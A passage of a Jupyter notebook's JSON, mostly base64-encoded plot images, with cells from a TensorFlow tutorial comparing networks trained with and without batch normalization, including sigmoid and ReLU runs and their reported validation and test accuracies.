ExMRUY2TVx8TmmYyMDPLz\n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\ng+M4jhPH/wPv7ZafvD0vxwAAAABJRU5ErkJggg==\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7ffa7c34fbe0>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "train_and_test(False, 1, tf.nn.sigmoid, 2000, 50)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "As you can see, even though these parameters work well for both networks, the one with batch normalization gets over 90% in 400 or so batches, whereas the other takes over 1700. When training larger networks, these sorts of differences become more pronounced." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**The following creates two networks using a ReLU activation function, a learning rate of 2, and reasonable starting weights.**" ] }, { "cell_type": "code", "execution_count": 11, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [00:35<00:00, 1412.09it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Without Batch Norm: After training, final accuracy on validation set = 0.09859999269247055\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [01:36<00:00, 518.06it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.9827996492385864\n", "---------------------------------------------------------------------------\n", "Without Batch Norm: Accuracy on full test set = 0.10099999606609344\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.9827001094818115\n" ] }, { "data": { "image/png": "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